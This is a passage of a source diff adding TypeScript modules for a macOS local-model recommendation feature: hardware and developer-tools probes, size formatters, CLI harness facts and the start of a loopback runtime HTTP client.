+function runBounded(file: string, args: readonly string[], timeoutMs: number): Promise<number | null> {
+  return new Promise((resolve) => {
+    if (process.env.VITEST) return resolve(null);
+    try {
+      execFile(file, [...args], { timeout: timeoutMs }, (err) => {
+        if (!err) return resolve(0);
+        // A number is the exit code of a command that ran. Anything else (ENOENT, a timeout
+        // that killed it) is "it did not answer".
+        const code = (err as { code?: unknown }).code;
+        resolve(typeof code === 'number' && !(err as { killed?: boolean }).killed ? code : null);
+      });
+    } catch {
+      resolve(null);
+    }
+  });
+}
+
+async function check(deps: DeveloperToolsDeps): Promise<LocalModelDeveloperTools> {
+  if (deps.platform !== 'darwin') return 'unknown';
+  let code: number | null;
+  try {
+    code = await deps.run(XCODE_SELECT, ['-p'], DEVELOPER_TOOLS_TIMEOUT_MS);
+  } catch {
+    code = null;
+  }
+  if (code === null || !Number.isInteger(code)) return 'unknown';
+  return code === 0 ? 'present' : 'missing';
+}
+
+/**
+ * A check that remembers its answer for a minute and shares one run among callers that ask at
+ * the same time. `now` is the clock of the cache; a test injects its own.
+ */
+export function createDeveloperToolsCheck(
+  deps: Partial<DeveloperToolsDeps> & { now?: () => number } = {}
+): () => Promise<LocalModelDeveloperTools> {
+  const resolved: DeveloperToolsDeps = {
+    platform: deps.platform ?? process.platform,
+    run: deps.run ?? runBounded,
+  };
+  const now = deps.now ?? Date.now;
+  let cached: { answer: LocalModelDeveloperTools; at: number } | undefined;
+  let inFlight: Promise<LocalModelDeveloperTools> | undefined;
+  return () => {
+    if (cached && now() - cached.at < DEVELOPER_TOOLS_CACHE_MS) return Promise.resolve(cached.answer);
+    inFlight ??= check(resolved)
+      .then((answer) => {
+        if (answer !== 'unknown') cached = { answer, at: now() };
+        return answer;
+      })
+      .finally(() => {
+        inFlight = undefined;
+      });
+    return inFlight;
+  };
+}
+
+/** The check of this server's own Mac. */
+let shared = createDeveloperToolsCheck();
+
+/** Forgets the cached answer of this server's own Mac. For tests. */
+export function resetDeveloperToolsCache(): void {
+  shared = createDeveloperToolsCheck();
+}
+
+/**
+ * `present` when `/usr/bin/xcode-select -p` exits 0, `missing` when it exits with anything
+ * else, `unknown` otherwise. Without `deps` it is the cached check of this server's Mac; with
+ * a platform or a runner of the caller's it asks once and remembers nothing.
+ */
+export async function checkDeveloperTools(deps: Partial<DeveloperToolsDeps> = {}): Promise<LocalModelDeveloperTools> {
+  if (deps.platform !== undefined || deps.run !== undefined) {
+    return check({ platform: deps.platform ?? process.platform, run: deps.run ?? runBounded });
+  }
+  return shared();
+}

src/local-model/format.ts

@@ -0,0 +1,48 @@
+/**
+ * @fileoverview The formatters of the local model recommendation, and its byte units.
+ *
+ * `formatGb()` is the ONE place a byte count becomes a size a person reads: decimal GB (the
+ * unit the Finder and the model registry use). `hardware.ts` and `recommend.ts` call it to fill
+ * the `...Gb` text fields of the payload (`memGb`, `freeDiskGb`, `needGb`, `downloadGb`,
+ * `budgetGb`, and the size slots of a `LocalModelMessage`). Nothing else may turn bytes into a
+ * size for display, the browser included: it prints the text it was sent.
+ *
+ * GiB and MiB exist only for the budget math (reserves, the wired limit, the device total the
+ * runtime reports) and never reach a person, with one exception: `memClassGb()`, the memory
+ * size a Mac is sold as, is how the card names the installed memory ("48 GB memory", what
+ * About This Mac shows). It is a name of the machine, not a computed size: `formatGb()` of the
+ * same bytes reads 51.5, which no owner recognises. Every computed size (need, budget,
+ * download, free disk) is `formatGb()`.
+ *
+ * Pure: no IO, no state.
+ */
+
+/** One decimal gigabyte, the unit a person reads. */
+export const GB = 1_000_000_000;
+/** One binary gigabyte. Budget math only. */
+export const GIB = 1024 ** 3;
+/** One binary megabyte. Budget math only. */
+export const MIB = 1024 ** 2;
+
+/**
+ * A byte count as decimal GB text, WITHOUT the unit: one decimal below 100 ('6.6', '17.7',
+ * '25.5'), a whole number from 100 ('212'). The caller's sentence supplies ' GB'.
+ * Anything that is not a positive finite number reads '0.0'.
+ */
+export function formatGb(bytes: number): string {
+  if (!Number.isFinite(bytes) || bytes <= 0) return '0.0';
+  const tenths = Math.round((bytes / GB) * 10) / 10;
+  return tenths >= 100 ? String(Math.round(bytes / GB)) : tenths.toFixed(1);
+}
+
+/**
+ * The memory size a Mac is sold as: whole binary gigabytes (17179869184 bytes is 16). This is
+ * `HardwareFacts.memClassGb`: the key of the tier rules ("below 36 GB") and of `TestedOn.memGb`,
+ * and what the card and the `noneMemory` sentence call the installed memory. It names a class
+ * of Mac; 0 means the size is unknown and is never shown. Any other size for display is
+ * `formatGb()`.
+ */
+export function memClassGb(memBytes: number): number {
+  if (!Number.isFinite(memBytes) || memBytes <= 0) return 0;
+  return Math.round(memBytes / GIB);
+}

src/local-model/hardware.ts

@@ -0,0 +1,409 @@
+/**
+ * @fileoverview The hardware probe of the local model recommendation: what this Mac is.
+ *
+ *  - `parseSysctl()`: a pure parser of `key: value` lines. The command runs WITHOUT `-n`, so a
+ *    key that is missing on a machine (`sysctl.proc_translated` on Intel) cannot shift the
+ *    others, and a line it does not know is ignored.
+ *  - `readHardware()`: ONE bounded async spawn of `SYSCTL_PATH` with `SYSCTL_KEYS`, the free disk
+ *    of the data dir through `fs.promises.statfs`, fallbacks from `node:os` when the spawn
+ *    fails, and a 60 s cache.
+ *
+ * Rules:
+ *  - Never throws and never rejects: a failed probe is an answer (`source: 'os-fallback'`), and
+ *    off macOS nothing is spawned and no disk is read (`source: 'not-probed'`).
+ *  - Never `system_profiler` (tens of milliseconds and a parse of free text), never a second
+ *    spawn, never a synchronous exec on the server's event loop.
+ *  - A non-zero exit is tolerated once `hw.memsize` parsed (a missing key makes sysctl exit 1).
+ *    Without `hw.memsize` nothing else of that output is trusted: the answer is the fallback.
+ *  - Only a line that ends in a newline counts. A cut-off tail is not a value: half of
+ *    `hw.memsize` would read as a smaller, valid number.
+ *  - `iogpu.wired_limit_mb` of 0 means "not set": it is reported as 0 and only a value above 0
+ *    is ever used as a limit.
+ *  - The data dir can sit on a network mount that stopped answering, so the disk read is
+ *    bounded too: the folder is probed with the bounded path probe first, the `statfs` is raced
+ *    against a timeout, and a `statfs` that never came back is not started a second time.
+ *  - `memGb`, `memClassGb` and `freeDiskGb` are filled here through src/local-model/format.ts,
+ *    the one place a size is formatted.
+ */
+
+import { execFile } from 'node:child_process';
+import { statfs } from 'node:fs/promises';
+import os from 'node:os';
+import { dirname } from 'node:path';
+import type { HardwareFacts } from '../types.js';
+import { getDataDir } from '../config/instance.js';
+import { probePathKind, type PathProbeKind } from '../utils/bounded-path-probe.js';
+import { formatGb, memClassGb } from './format.js';
+
+/** Absolute path, so the server's PATH (minimal under a service manager) cannot change what runs. */
+export const SYSCTL_PATH = '/usr/sbin/sysctl';
+
+/** The keys of the one spawn, in the order they are passed. */
+export const SYSCTL_KEYS = [
+  'hw.memsize',
+  'machdep.cpu.brand_string',
+  'hw.optional.arm64',
+  'sysctl.proc_translated',
+  'iogpu.wired_limit_mb',
+  'kern.osproductversion',
+  'hw.model',
+] as const;
+
+/** Upper bound of the spawn (it answers in about 2 ms on a real Mac). */
+export const SYSCTL_TIMEOUT_MS = 2000;
+
+/** How long one probe result is reused. */
+export const HARDWARE_CACHE_TTL_MS = 60_000;
+
+/** Upper bound of the wait for the free disk figure. */
+export const FREE_DISK_TIMEOUT_MS = 2000;
+
+/** Seven short lines are well under this. A larger output is not sysctl's. */
+const SYSCTL_MAX_OUTPUT_BYTES = 64 * 1024;
+
+/** Longest text value kept (a chip name, a model identifier, a version). */
+const MAX_TEXT_VALUE_LENGTH = 100;
+
+/** How many parent folders are tried when the data dir does not exist yet. */
+const FREE_DISK_MAX_PARENT_STEPS = 6;
+
+/** What `parseSysctl()` read. Every field is absent when its key was missing or its value did not parse. */
+export interface SysctlFacts {
+  /** `hw.memsize`. */
+  memBytes?: number;
+  /** `machdep.cpu.brand_string`. */
+  chip?: string;
+  /** `hw.optional.arm64` is 1. */
+  arm64?: boolean;
+  /** `sysctl.proc_translated` is 1. */
+  translated?: boolean;
+  /** `iogpu.wired_limit_mb`, as reported (0 stays 0). */
+  wiredLimitMb?: number;
+  /** `kern.osproductversion`. */
+  macosVersion?: string;
+  /** The leading number of `macosVersion`. */
+  macosMajor?: number;
+  /** `hw.model`. */
+  model?: string;
+}
+
+/** The IO of `readHardware()`, injectable so a test spawns nothing and reads no real disk. Each member defaults to the real thing. */
+export interface HardwareProbeDeps {
+  /** Default `process.platform`. */
+  platform?: string;
+  /** Default `os.arch()`. */
+  arch?: string;
+  /** Runs the one spawn. Resolves its stdout, also after a non-zero exit, or `undefined` when it could not run or timed out. Never rejects. */
+  runSysctl?: () => Promise<string | undefined>;
+  /** Free bytes on the data dir's filesystem, or `undefined` when unknown. Never rejects. */
+  freeDiskBytes?: () => Promise<number | undefined>;
+  /** Default `os.totalmem()`. */
+  totalMemBytes?: () => number;
+  /** Default `os.cpus()[0]?.model`. */
+  cpuModel?: () => string | undefined;
+  /** Default `Date.now`. The clock of the cache. */
+  now?: () => number;
+}
+
+/** A whole number without sign, as sysctl prints one. */
+function parseCount(value: string): number | undefined {
+  if (!/^\d+$/.test(value)) return undefined;
+  const parsed = Number(value);
+  return Number.isSafeInteger(parsed) ? parsed : undefined;
+}
+
+/** sysctl prints a flag as 0 or 1. Anything else is not a flag. */
+function parseFlag(value: string): boolean | undefined {
+  if (value === '1') return true;
+  if (value === '0') return false;
+  return undefined;
+}
+
+function parseText(value: string): string | undefined {
+  return value !== '' && value.length <= MAX_TEXT_VALUE_LENGTH ? value : undefined;
+}
+
+/**
+ * Parse the output of `sysctl <keys>` (no `-n`): one `key: value` line per key it knows.
+ * Pure. Unknown lines, blank lines and error lines are skipped, and so is a last line that does
+ * not end in a newline. The first line of a key wins.
+ */
+export function parseSysctl(text: string): SysctlFacts {
+  const facts: SysctlFacts = {};
+  const lines = text.split('\n');
+  // What follows the last newline is either empty or a cut-off line.
+  lines.pop();
+  for (const rawLine of lines) {
+    const line = rawLine.replace(/\r$/, '');
+    const colon = line.indexOf(':');
+    if (colon <= 0) continue;
+    const key = line.slice(0, colon).trim();
+    const value = line.slice(colon + 1).trim();
+    switch (key) {
+      case 'hw.memsize': {
+        const bytes = parseCount(value);
+        if (bytes !== undefined && bytes > 0) facts.memBytes ??= bytes;
+        break;
+      }
+      case 'machdep.cpu.brand_string':
+        facts.chip ??= parseText(value);
+        break;
+      case 'hw.optional.arm64':
+        facts.arm64 ??= parseFlag(value);
+        break;
+      case 'sysctl.proc_translated':
+        facts.translated ??= parseFlag(value);
+        break;
+      case 'iogpu.wired_limit_mb':
+        facts.wiredLimitMb ??= parseCount(value);
+        break;
+      case 'kern.osproductversion': {
+        const version = /^(\d+)(?:\.\d+)*$/.exec(value);
+        if (version && value.length <= MAX_TEXT_VALUE_LENGTH && facts.macosVersion === undefined) {
+          facts.macosVersion = value;
+          facts.macosMajor = Number(version[1]);
+        }
+        break;
+      }
+      case 'hw.model':
+        facts.model ??= parseText(value);
+        break;
+      default:
+        break;
+    }
+  }
+  return facts;
+}
+
+/**
+ * The one spawn: `command` with `SYSCTL_KEYS` as its arguments and nothing else (no `-n`).
+ * Resolves stdout when the program ran, also after a non-zero exit (a key this machine lacks
+ * makes sysctl exit 1 while the other keys are printed). Resolves `undefined` when it could not
+ * be started, was killed (the timeout) or printed too much. Never rejects.
+ *
+ * The two parameters exist for the test, which runs a script of its own in place of sysctl.
+ */
+export function spawnSysctl(
+  command: string = SYSCTL_PATH,
+  timeoutMs: number = SYSCTL_TIMEOUT_MS
+): Promise<string | undefined> {
+  return new Promise((resolve) => {
+    try {
+      execFile(
+        command,
+        [...SYSCTL_KEYS],
+        {
+          timeout: timeoutMs,
+          maxBuffer: SYSCTL_MAX_OUTPUT_BYTES,
+          encoding: 'utf8',
+          windowsHide: true,
+          // sysctl needs nothing from the server's environment, which can hold a password.
+          env: { LC_ALL: 'C' },
+        },
+        (error, stdout) => {
+          if (!error) return resolve(stdout);
+          // A numeric code is an exit status: the program ran. A string code (ENOENT, EACCES,
+          // the buffer limit) or a signal means it did not run to its end.
+          const ranToEnd = typeof error.code === 'number' && !error.killed && !error.signal;
+          resolve(ranToEnd ? stdout : undefined);
+        }
+      );
+    } catch {
+      resolve(undefined);
+    }
+  });
+}
+
+/**
+ * Free bytes on the filesystem that holds `path` (`bavail * bsize`: what an unprivileged
+ * process can use), or `undefined` when the filesystem does not say. Not bounded by itself: see
+ * `dataDirFreeBytes()`.
+ */
+export async function freeDiskBytesOf(path: string): Promise<number | undefined> {
+  try {
+    const stat = await statfs(path);
+    const free = Number(stat.bavail) * Number(stat.bsize);
+    return Number.isFinite(free) && free >= 0 ? free : undefined;
+  } catch {
+    return undefined;
+  }
+}
+
+/** The one `statfs` that may be pending. While it is, no second one is started. */
+let pendingStatfs: Promise<number | undefined> | undefined;
+
+/** The IO of `dataDirFreeBytes()`. Each member defaults to the real thing; a test passes its own. */
+export interface FreeDiskDeps {
+  /** Default `getDataDir()`. */
+  dataDir?: () => string;
+  /** Default the bounded path probe (`probePathKind`). */
+  probeKind?: (path: string) => Promise<PathProbeKind>;
+  /** Default `freeDiskBytesOf`. */
+  freeBytesOf?: (path: string) => Promise<number | undefined>;
+  /** Default `FREE_DISK_TIMEOUT_MS`. */
+  timeoutMs?: number;
+}
+
+/**
+ * Free bytes on the data dir's filesystem, bounded. The folder (or, when it does not exist yet,
+ * its nearest existing parent) is found with the bounded path probe, which never waits on a
+ * dead mount twice; the `statfs` itself is raced against a timeout. `undefined` when the
+ * filesystem does not answer in time, or is not known to be a folder.
+ */
+export async function dataDirFreeBytes(deps: FreeDiskDeps = {}): Promise<number | undefined> {
+  // Concurrent probes share one promise in `readHardware()`, so a `statfs` that is still pending
+  // here was started by an EARLIER probe and has outlived its timeout: a dead mount. It holds
+  // one threadpool worker, and that is the most this module may ever hold.
+  if (pendingStatfs) return undefined;
+
+  const probeKind = deps.probeKind ?? probePathKind;
+  let folder: string;
+  try {
+    folder = (deps.dataDir ?? getDataDir)();
+    let kind = await probeKind(folder);
+    for (let step = 0; kind === 'absent' && step < FREE_DISK_MAX_PARENT_STEPS; step++) {
+      const parent = dirname(folder);
+      if (parent === folder) break;
+      folder = parent;
+      kind = await probeKind(folder);
+    }
+    // 'unknown' is a mount that does not answer (or an unreadable path): do not touch it.
+    if (kind !== 'directory') return undefined;
+  } catch {
+    return undefined;
+  }
+
+  const started = (deps.freeBytesOf ?? freeDiskBytesOf)(folder).catch(() => undefined);
+  pendingStatfs = started;
+  const forget = (): void => {
+    if (pendingStatfs === started) pendingStatfs = undefined;
+  };
+  started.then(forget, forget);
+
+  let timer: ReturnType<typeof setTimeout> | undefined;
+  try {
+    return await Promise.race([
+      started,
+      new Promise<undefined>((resolve) => {
+        timer = setTimeout(() => resolve(undefined), deps.timeoutMs ?? FREE_DISK_TIMEOUT_MS);
+        timer.unref?.();
+      }),
+    ]);
+  } finally {
+    if (timer) clearTimeout(timer);
+  }
+}
+
+function defaultCpuModel(): string | undefined {
+  return os.cpus()[0]?.model;
+}
+
+/** A dependency that must never break the probe: its value, or `undefined` when it threw or rejected. */
+async function attempt<T>(read: () => T | Promise<T>): Promise<T | undefined> {
+  try {
+    return await read();
+  } catch {
+    return undefined;
+  }
+}
+
+/** Memory and the three fields derived from it. */
+function memoryFields(memBytes: number | undefined): Pick<HardwareFacts, 'memBytes' | 'memGb' | 'memClassGb'> {
+  const bytes = memBytes !== undefined && Number.isFinite(memBytes) && memBytes > 0 ? memBytes : 0;
+  return { memBytes: bytes, memGb: formatGb(bytes), memClassGb: memClassGb(bytes) };
+}
+
+async function probeHardware(deps: HardwareProbeDeps): Promise<HardwareFacts> {
+  const platform = deps.platform ?? process.platform;
+  const arch = deps.arch ?? os.arch();
+  const totalMemBytes = deps.totalMemBytes ?? os.totalmem;
+  const cpuModel = deps.cpuModel ?? defaultCpuModel;
+
+  if (platform !== 'darwin') {
+    return { platform, arch, ...memoryFields(await attempt(totalMemBytes)), source: 'not-probed' };
+  }
+
+  const [stdout, freeDisk] = await Promise.all([
+    attempt(deps.runSysctl ?? (() => spawnSysctl())),
+    attempt(deps.freeDiskBytes ?? (() => dataDirFreeBytes())),
+  ]);
+  const disk: Pick<HardwareFacts, 'freeDiskBytes' | 'freeDiskGb'> =
+    freeDisk !== undefined && Number.isFinite(freeDisk) && freeDisk >= 0
+      ? { freeDiskBytes: freeDisk, freeDiskGb: formatGb(freeDisk) }
+      : {};
+
+  const facts = typeof stdout === 'string' ? parseSysctl(stdout) : {};
+  if (facts.memBytes === undefined) {
+    const chip = await attempt(cpuModel);
+    return {
+      platform,
+      arch,
+      ...memoryFields(await attempt(totalMemBytes)),
+      ...(chip ? { chip } : {}),
+      ...disk,
+      source: 'os-fallback',
+    };
+  }
+
+  const chip = facts.chip ?? (await attempt(cpuModel));
+  return {
+    platform,
+    arch,
+    ...(facts.arm64 !== undefined ? { arm64: facts.arm64 } : {}),
+    ...(facts.translated !== undefined ? { translated: facts.translated } : {}),
+    ...memoryFields(facts.memBytes),
+    ...(chip ? { chip } : {}),
+    ...(facts.model !== undefined ? { model: facts.model } : {}),
+    ...(facts.macosVersion !== undefined ? { macosVersion: facts.macosVersion } : {}),
+    ...(facts.macosMajor !== undefined ? { macosMajor: facts.macosMajor } : {}),
+    ...(facts.wiredLimitMb !== undefined ? { wiredLimitMb: facts.wiredLimitMb } : {}),
+    ...disk,
+    source: 'sysctl',
+  };
+}
+
+let cached: { at: number; facts: HardwareFacts } | undefined;
+let inFlight: Promise<HardwareFacts> | undefined;
+
+/**
+ * What this machine is. Cached for `HARDWARE_CACHE_TTL_MS`; concurrent callers share one probe.
+ * Never rejects.
+ *
+ * The cache is one per process and does not look at `deps`: within the 60 s a second call
+ * returns the first call's answer whatever it injects. A test resets it first.
+ */
+export async function readHardware(deps: HardwareProbeDeps = {}): Promise<HardwareFacts> {
+  const now = deps.now ?? Date.now;
+  if (cached) {
+    const age = now() - cached.at;
+    if (age >= 0 && age < HARDWARE_CACHE_TTL_MS) return cached.facts;
+  }
+  if (inFlight) return inFlight;
+
+  const probe = probeHardware(deps)
+    .catch(
+      // Unreachable by design (every read above is guarded), and still an answer if it is reached.
+      (): HardwareFacts => ({
+        platform: deps.platform ?? process.platform,
+        arch: deps.arch ?? os.arch(),
+        ...memoryFields(undefined),
+        source: (deps.platform ?? process.platform) === 'darwin' ? 'os-fallback' : 'not-probed',
+      })
+    )
+    .then((facts) => {
+      cached = { at: now(), facts };
+      return facts;
+    })
+    .finally(() => {
+      if (inFlight === probe) inFlight = undefined;
+    });
+  inFlight = probe;
+  return probe;
+}
+
+/** Drop the cached probe result and the memory of a pending disk read (tests, and nothing else). */
+export function resetHardwareCache(): void {
+  cached = undefined;
+  inFlight = undefined;
+  pendingStatfs = undefined;
+}

src/local-model/harness-facts.ts

@@ -0,0 +1,176 @@
+/**
+ * @fileoverview What the server knows about each catalogue harness on this machine, for the
+ * local model recommendation. Server side: this is the one module of src/local-model/ that
+ * reads the CLI registry, so `recommend()` can stay pure and name no CLI.
+ *
+ * `buildHarnessFacts()` walks the catalogue's `harnesses` rows and, for every row:
+ *  - resolves its `cli` in the CLI registry AT CALL TIME (never in a module-level constant),
+ *    and leaves the row out when the CLI is unknown, disabled, or has no custom model
+ *    mechanism (`capabilities.customModelInjection.kind` is `unsupported`);
+ *  - reports `label` from the registry entry and `installed` from the same probe the page
+ *    render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build;
+ *  - reports `installable` only for a STOCK CLI that is not installed and whose install
+ *    command for this platform needs no administrator rights (`installCommandNeedsAdmin()`),
+ *    and then carries that command as `installCommand`, so the consent screen can print the
+ *    literal text. The command is the COMPILED stock one (`stockInstallCommand()`), never the
+ *    one a `clis.json` override supplies: it is exactly what the install job would run, and
+ *    an override file must not be able to change that;
+ *  - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch
+ *    applies to the model id before anything is written.
+ *
+ * Rules:
+ *  - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue
+ *    row and everything else from the registry entry it resolves to.
+ *  - Read-only: nothing is installed, written or spawned beyond the existing availability
+ *    probe. An install command is only read as text, never run.
+ *  - Never throws: a probe that fails reads as "not installed" (with a warning in the log),
+ *    and the registry's install data still answers `installable`.
+ *
+ * `cliAcceptsCustomModelId()` composes the two pure pieces the launch path itself calls
+ * (`buildCustomModelInjection()` and `matchesPattern()` on the entry's `model` launch param).
+ * The launch path keeps that composition inline at two sites in
+ * src/web/routes/session-routes.ts (the quick-start `customModel` branch and
+ * `POST /api/sessions/:id/custom-model`). A change to the rule there must be made here too,
+ * until the three share one helper.
+ */
+
+import type { CliEntry } from '../config/cli-registry/types.js';
+import { matchesPattern } from '../config/cli-registry/patterns.js';
+import { stockInstallCommand } from '../cli-install-runner.js';
+import { getCli } from '../config/cli-registry/registry.js';
+import { buildCustomModelInjection, type CustomModelEndpoint } from '../custom-model-injection.js';
+import { isCliEntryInstalled, probeStockCliAvailability } from '../utils/cli-installed-probes.js';
+import { getErrorMessage, type HarnessFact, type LocalModelCatalog } from '../types.js';
+
+/** What `buildHarnessFacts()` reads. Each member defaults to the real module; a test overrides what it needs. */
+export interface HarnessFactsDeps {
+  /** One CLI of the registry, looked up when the facts are built. */
+  getCli: (id: string) => CliEntry | undefined;
+  /**
+   * The availability probe, asked ONCE per build: it answers with a test for single entries.
+   * Under vitest the real probe is inert (it finds no CLI), so a test that cares about
+   * `installed` passes its own.
+   */
+  probeInstalled: () => Promise<(entry: CliEntry) => boolean>;
+  /**
+   * The install command the install job would run for this CLI on this platform: the compiled
+   * stock command, `undefined` for a CLI that is not stock or has none here. Read as text,
+   * never run.
+   */
+  installCommandFor: (entry: CliEntry) => string | undefined;
+}
+
+export const defaultHarnessFactsDeps: HarnessFactsDeps = {
+  getCli,
+  probeInstalled: async () => {
+    const stockAvailability = await probeStockCliAvailability();
+    return (entry) => isCliEntryInstalled(entry, stockAvailability);
+  },
+  installCommandFor: (entry) => stockInstallCommand(entry.id as string),
+};
+
+/**
+ * A command segment that starts with `sudo` or `brew`: at the start of the text, or after a
+ * pipe, `&&`, `||`, `;`, a line break or an opening parenthesis.
+ */
+const ADMIN_COMMAND = /(?:^|[;&|(\n])\s*(?:sudo|brew)(?=\s|$)/;
+
+/**
+ * Whether an install command needs administrator rights, read off its text.
+ *  - `sudo ...` asks for an administrator password.
+ *  - `brew ...` needs Homebrew, and installing Homebrew needs an administrator (the same rule
+ *    the installer's no-admin route applies to the CLI menu).
+ * `curl ... | bash` installers write into the home directory, and the install runner points an
+ * `npm install -g` at a prefix the server user can write, so neither counts.
+ */
+export function installCommandNeedsAdmin(command: string): boolean {
+  return ADMIN_COMMAND.test(command);
+}
+
+/** Stands in for a configured endpoint: the launch id a recipe forces depends on the model id alone. */
+const PROBE_ENDPOINT: CustomModelEndpoint = {
+  id: 'local-model-probe',
+  label: 'local model probe',
+  baseUrl: 'http://127.0.0.1',
+};
+
+/**
+ * Whether a custom model launch of this CLI would accept `modelId`.
+ *
+ * A CLI whose config alone cannot select the model gets the id forced onto its `model` launch
+ * param (the recipe's `launchModel` template). The argv engine DROPS a token that fails the
+ * param's pattern, which would start the CLI on its own default provider, so the launch path
+ * refuses such an id up front. This is that test: false when the forced value does not match
+ * the pattern, and false for a CLI with no custom model mechanism at all.
+ */
+export function cliAcceptsCustomModelId(entry: Pick<CliEntry, 'capabilities' | 'launch'>, modelId: string): boolean {
+  try {
+    const injection = buildCustomModelInjection(entry, PROBE_ENDPOINT, modelId);
+    if (injection.kind === 'unsupported') return false;
+    const forcedLaunchModel = injection.launchModel;
+    const modelSpec = entry.launch.params.model;
+    return !(
+      forcedLaunchModel !== undefined &&
+      modelSpec?.type === 'token' &&
+      !matchesPattern(modelSpec.pattern, forcedLaunchModel)
+    );
+  } catch {
+    // A recipe that cannot be rendered cannot be launched either.
+    return false;
+  }
+}
+
+/** One fact per catalogue harness that resolves in the CLI registry, in catalogue order. */
+export async function buildHarnessFacts(
+  catalog: LocalModelCatalog,
+  deps: Partial<HarnessFactsDeps> = {}
+): Promise<HarnessFact[]> {
+  const resolved: HarnessFactsDeps = { ...defaultHarnessFactsDeps, ...deps };
+
+  let isInstalled: (entry: CliEntry) => boolean;
+  try {
+    isInstalled = await resolved.probeInstalled();
+  } catch (err) {
+    console.warn(
+      `[local-model] The CLI availability probe failed, reading every harness as not installed: ${getErrorMessage(err)}`
+    );
+    isInstalled = () => false;
+  }
+
+  const facts: HarnessFact[] = [];
+  const seen = new Set<string>();
+  for (const row of catalog.harnesses) {
+    // The catalogue lists a CLI once; a second row for it adds nothing a fact could carry.
+    if (seen.has(row.cli)) continue;
+    seen.add(row.cli);
+
+    const entry = resolved.getCli(row.cli);
+    if (!entry || !entry.enabled) continue;
+    if (entry.capabilities.customModelInjection.kind === 'unsupported') continue;
+
+    let installed = false;
+    try {
+      installed = isInstalled(entry);
+    } catch (err) {
+      console.warn(`[local-model] Probing ${entry.label} failed, reading it as not installed: ${getErrorMessage(err)}`);
+    }
+
+    let installCommand: string | undefined;
+    if (!installed && entry.stock) {
+      const command = resolved.installCommandFor(entry);
+      if (command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command)) {
+        installCommand = command;
+      }
+    }
+
+    facts.push({
+      cli: row.cli,
+      label: entry.label,
+      installed,
+      installable: installCommand !== undefined,
+      ...(installCommand !== undefined ? { installCommand } : {}),
+      acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId),
+    });
+  }
+  return facts;
+}

src/local-model/ollama-client.ts

@@ -0,0 +1,810 @@
+/**
+ * @fileoverview The HTTP client of the model runtime: what Codeman asks its own runtime on
+ * the loopback port, and the pure functions that read the answers.
+ *
+ * What it asks:
+ *  - `GET /api/version`, `GET /api/tags`, `GET /api/ps`, `GET /v1/models`, `DELETE /api/delete`.
+ *  - `POST /api/pull` with `stream: true`. The answer is one JSON object per line, and a
+ *    23 GB pull sends about 1.4 million of them, so the stream is parsed INCREMENTALLY
+ *    (`createPullParser()`, pure): only the unfinished last line and the running totals are
+ *    kept, never the body. Aborting the request stops the download; pulling again continues
+ *    it. An error line or a stream that ends without `success` is retried, at most
+ *    `PULL_RETRIES` times.
+ *  - The check after the pull (`verifyModel()`), in this order: one tiny chat with
+ *    `reasoning_effort: "none"` (it loads the model), then `GET /api/ps` must show the whole
+ *    model on the GPU (`size_vram` equal to `size`) at the chosen context
+ *    (`judgeLoaded()`, pure), then one tool probe on `/v1/chat/completions` with a `tools`
+ *    array, `reasoning_effort: "none"` and `max_tokens` of `TOOL_PROBE_MAX_TOKENS`, which
+ *    passes on a tool call whose arguments parse as JSON (`judgeToolProbe()`, pure).
+ *
+ * Rules:
+ *  - Nothing here throws for something a runtime can answer: every outcome is a result with
+ *    the job's error code. An abort signal is the result `cancelled`.
+ *  - Every request is bounded: a listing by seconds, the two probes by minutes (the first
+ *    chat loads the model). Only the pull has no deadline of its own, because its length is
+ *    the download; it ends with the stream, and the caller's signal cancels it.
+ *  - The runtime does not enforce the context length (a prompt of 167,012 tokens was accepted
+ *    at 131072), so nothing here relies on it to.
+ *  - Every function takes its `fetch` from the target, so a test passes the fake runtime's
+ *    address and spawns nothing. The target is always a loopback address the caller built from
+ *    the stored port: no function here takes a URL from a file or a request.
+ */
+
+import type { LocalModelErrorCode } from '../types.js';
+import { formatGb } from './format.js';
+
+/** How often a pull that ended on an error line or a cut stream is started again. */
+export const PULL_RETRIES = 5;
+/** `max_tokens` of the tool probe. */
+export const TOOL_PROBE_MAX_TOKENS = 1024;
+
+/** How long `/api/version` may take: it is asked while a runtime starts, many times. */
+const VERSION_TIMEOUT_MS = 2_000;
+/** How long a listing or a delete may take. */
+const LIST_TIMEOUT_MS = 10_000;
+/** How long the chat that loads the model may take. A 23 GB model loaded in 5.9 s on the test Mac; a cold disk is slower. */
+const CHAT_PROBE_TIMEOUT_MS = 180_000;
+/** How long the tool probe may take. The model is loaded by then. */
+const TOOL_PROBE_TIMEOUT_MS = 120_000;
+/** `max_tokens` of the chat that loads the model: its answer is not read. */
+const CHAT_PROBE_MAX_TOKENS = 16;
+/** The least time between two progress reports of a pull. */
+const PULL_PROGRESS_INTERVAL_MS = 250;
+/** The window the download speed is averaged over. */
+const PULL_SPEED_WINDOW_MS = 5_000;
+/** The first wait before a pull is started again; it doubles with every retry. */
+const PULL_RETRY_DELAY_MS = 1_000;
+/** A pull line longer than this is not a pull line. It is dropped, so a stream without line breaks cannot grow the buffer. */
+const MAX_PULL_LINE_CHARS = 1024 * 1024;
+/** More layers than any model has. Lines for further ones are counted and not added up, so the layer table cannot grow without bound. */
+const MAX_PULL_LAYERS = 1024;
+/** How much of a runtime's error text is kept as `detail`. */
+const MAX_DETAIL_CHARS = 400;
+
+/** Which runtime to ask. */
+export interface OllamaTarget {
+  /** `http://127.0.0.1:<port>`, without a trailing slash. */
+  baseUrl: string;
+  /** Default: the global `fetch`. */
+  fetch?: typeof fetch;
+}
+
+// ---------- Plumbing ----------
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value);
+}
+
+function asString(value: unknown): string | undefined {
+  return typeof value === 'string' && value !== '' ? value : undefined;
+}
+
+/** A byte count or a token count as the runtime reports it: a finite number that is not negative. */
+function asCount(value: unknown): number | undefined {
+  return typeof value === 'number' && Number.isFinite(value) && value >= 0 ? value : undefined;
+}
+
+function clip(text: string): string {
+  const trimmed = text.trim();
+  return trimmed.length > MAX_DETAIL_CHARS ? `${trimmed.slice(0, MAX_DETAIL_CHARS)}...` : trimmed;
+}
+
+function errorText(err: unknown): string {
+  if (err instanceof Error) {
+    // undici wraps the reason ("fetch failed") and keeps the useful part in `cause`.
